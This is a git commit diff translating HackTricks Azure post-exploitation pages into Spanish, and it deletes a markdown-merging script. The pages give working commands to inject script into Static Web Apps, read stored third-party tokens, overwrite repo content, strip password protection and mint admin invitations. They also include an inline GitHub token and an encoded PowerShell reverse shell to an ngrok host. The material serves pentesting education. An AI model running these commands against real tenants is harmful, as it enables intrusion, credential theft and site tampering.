Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-04-02 15:52:59 +00:00
parent b29b750f46
commit 270c35c24f
5 changed files with 194 additions and 331 deletions

View File

@@ -1,145 +0,0 @@
import os
import re
import tempfile
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"# {file_name}\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
def main():
# Specify the starting folder and output file
start_folder = os.getcwd()
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
# Keywords to exclude from lines
exclude_keywords = [
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
# Print the path to the output file
print(f"Merged content has been saved to: {output_file}")
if __name__ == "__main__":
# Execute this from the hacktricks folder to clean
# It will clean all the .md files and compile them into 1 in a proper order
main()

View File

@@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
```
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
Este permiso permite a un principal cifrar datos utilizando una clave almacenada en el vault.
Este permiso permite a un principal cifrar datos utilizando una clave almacenada en el cofre.
```bash
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -37,7 +37,7 @@ az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm
```
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
Este permiso permite a un principal descifrar datos utilizando una clave almacenada en el cofre.
Este permiso permite a un principal descifrar datos utilizando una clave almacenada en el vault.
```bash
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
Este permiso permite a un principal restaurar un secreto de una copia de seguridad.
```bash
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
```
### Microsoft.KeyVault/vaults/keys/recover/action
Permite la recuperación de una clave previamente eliminada de un Azure Key Vault
```bash
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -173,5 +173,10 @@ Parece que con estos permisos debería ser posible iniciar un trabajo. Esto podr
No he logrado hacerlo funcionar, pero según los parámetros permitidos, debería ser posible.
### Microsoft.ContainerInstance/containerGroups/restart/action
Permite reiniciar un grupo de contenedores específico dentro de Azure Container Instances.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# Az - Static Web Apps Post Exploitation
# Az - Aplicaciones Web Estáticas Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
## Azure Aplicaciones Web Estáticas
For more information about this service check:
Para más información sobre este servicio, consulta:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
Es posible hacer que una página web estática cargue código HTML arbitrario creando un snippet. Esto podría permitir a un atacante inyectar código JS dentro de la aplicación web y robar información sensible como credenciales o claves mnemotécnicas (en billeteras web3).
El siguiente comando crea un snippet que siempre será cargado por la aplicación web::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Leer Credenciales de Terceros Configuradas
### Read Configured Third Party Credentials
As explained in the App Service section:
Como se explicó en la sección de App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
Aquí tienes algunos ejemplos de comandos para verificar los tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Sobrescribir archivo - Sobrescribir rutas, HTML, JS...
### Overwrite file - Overwrite routes, HTML, JS...
Es posible **sobrescribir un archivo dentro del repositorio de Github** que contiene la aplicación a través de Azure enviando un **token de Github** en una solicitud como la siguiente, que indicará la ruta del archivo a sobrescribir, el contenido del archivo y el mensaje de confirmación.
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
Esto puede ser abusado por atacantes para básicamente **cambiar el contenido de la aplicación web** para servir contenido malicioso (robar credenciales, claves mnemotécnicas...) o simplemente para **redirigir ciertas rutas** a sus propios servidores sobrescribiendo el archivo `staticwebapp.config.json`.
> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
> Tenga en cuenta que si un atacante logra comprometer el repositorio de Github de alguna manera, también puede sobrescribir el archivo directamente desde Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
Con este permiso, es posible **modificar la contraseña** que protege una aplicación web estática o incluso desproteger cada entorno enviando una solicitud como la siguiente:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
Este permiso permite obtener el **token de despliegue de la clave API** para la aplicación estática:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Luego, para **actualizar una aplicación usando el token** podrías ejecutar el siguiente comando. Ten en cuenta que este comando fue extraído al verificar **cómo funciona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ya que es el que Azure establece por defecto para usar. Así que la imagen y los parámetros podrían cambiar en el futuro.
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):
> [!TIP]
> Para desplegar la aplicación podrías usar la herramienta **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) o seguir los siguientes pasos en bruto:
1. Descarga el repositorio [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o cualquier otro repositorio que desees desplegar) y ejecuta `cd react-basic`.
2. Cambia el código que deseas desplegar.
3. Despliega ejecutando (Recuerda cambiar el `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
>[!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
> [!WARNING]
> Incluso si tienes el token, no podrás desplegar la aplicación si la **Política de Autorización de Despliegue** está configurada en **Github**. Para usar el token, necesitarás el permiso `Microsoft.Web/staticSites/write` para cambiar el método de despliegue y usar el token de la API.
### Microsoft.Web/staticSites/write
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
Con este permiso es posible **cambiar la fuente de la aplicación web estática a un repositorio de Github diferente**, sin embargo, no se aprovisionará automáticamente ya que esto debe hacerse desde una Acción de Github.
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
Sin embargo, si la **Política de Autorización de Despliegue** está configurada en **Github**, ¡es posible **actualizar la aplicación desde el nuevo repositorio fuente!**.
En caso de que la **Política de Autorización de Despliegue** no esté configurada en Github, puedes cambiarla con el mismo permiso `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,109 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Example Github Action to deploy the app:
Ejemplo de Github Action para desplegar la aplicación:
```yaml
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
Con este permiso es posible **restablecer la clave API de la aplicación web estática**, potencialmente DoSing los flujos de trabajo que implementan automáticamente la aplicación.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
Este permiso permite **crear una invitación a un usuario** para acceder a rutas protegidas dentro de una aplicación web estática con un rol específico dado.
El inicio de sesión se encuentra en una ruta como `/.auth/login/github` para github o `/.auth/login/aad` para Entra ID y un usuario puede ser invitado con el siguiente comando:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
Por defecto, las Pull Requests de una rama en el mismo repositorio se compilarán y construirán automáticamente en un entorno de staging. Esto podría ser abusado por un atacante con acceso de escritura sobre el repositorio pero sin poder eludir las protecciones de rama de la rama de producción (generalmente `main`) para **desplegar una versión maliciosa de la app** en la URL de staging.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
La URL de staging tiene este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
> Ten en cuenta que, por defecto, las PR externas no ejecutarán flujos de trabajo a menos que hayan fusionado al menos 1 PR en el repositorio. Un atacante podría enviar una PR válida al repositorio y **luego enviar una PR maliciosa** al repositorio para desplegar la app maliciosa en el entorno de staging. SIN EMBARGO, hay una protección inesperada, la acción de Github por defecto para desplegar en la aplicación web estática necesita acceso al secreto que contiene el token de despliegue (como `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) incluso si el despliegue se realiza con el IDToken. Esto significa que, dado que una PR externa no tendrá acceso a este secreto y una PR externa no puede cambiar el flujo de trabajo para colocar aquí un token arbitrario sin que una PR sea aceptada, **este ataque realmente no funcionará**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Ejecutar shell inverso desde archivo
- Ejecutar shell inverso desde un archivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -155,9 +155,9 @@ Set-AzVMDscExtension `
<details>
<summary>Trabajador de Runbook Híbrido</summary>
<summary>Hybrid Runbook Worker</summary>
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-services/az-automation-account/index.html).
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-services/az-automation-account/index.html).
</details>
@@ -308,7 +308,7 @@ Este permiso permite a un usuario **iniciar sesión como usuario en una VM a tra
Inicie sesión a través de **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** y a través de **RDP** con sus **credenciales regulares de Azure**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
